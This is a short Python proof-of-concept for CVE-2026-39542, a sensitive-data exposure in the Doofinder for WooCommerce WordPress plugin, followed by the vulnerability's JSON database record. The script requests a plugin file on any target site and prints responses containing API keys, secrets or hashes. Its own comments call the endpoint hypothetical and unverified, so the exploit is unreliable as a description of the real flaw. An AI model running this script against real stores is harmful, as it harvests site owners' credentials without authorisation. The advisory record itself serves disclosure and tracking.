CVE-2026-39542

import requests import sys # Exploit Title: Doofinder for WooCommerce Sensitive Data Exposure PoC # CVE: CVE-2026-39542 # Description: Checks for exposed sensitive data in the plugin response. def poc(target_url): # Hypothetical endpoint where data might be leaked # Actual path needs verification based on plugin source code analysis url = f"{target_url}/wp-content/plugins/doofinder-for-woocommerce/public/js/index.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: # Analyzing response for sensitive patterns like API keys or hashes content = response.text if "apiKey" in content or "secret" in content or "hash" in content: print("[+] Potential Sensitive Data Exposure detected!") print(f"[+] URL: {url}") print(f"[+] Snippet: {content[:200]}...") return True else: print("[-] No obvious sensitive data found in response.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print("Example: python {sys.argv[0]} http://example.com") else: poc(sys.argv[1])

{"cve": {"id": "CVE-2026-39542", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.790", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Doofinder Doofinder for WooCommerce doofinder-for-woocommerce allows Retrieve Embedded Sensitive Data.This issue affects Doofinder for WooCommerce: from n/a through <= 2.10.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/doofinder-for-woocommerce/vulnerability/wordpress-doofinder-for-woocommerce-plugin-2-10-13-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}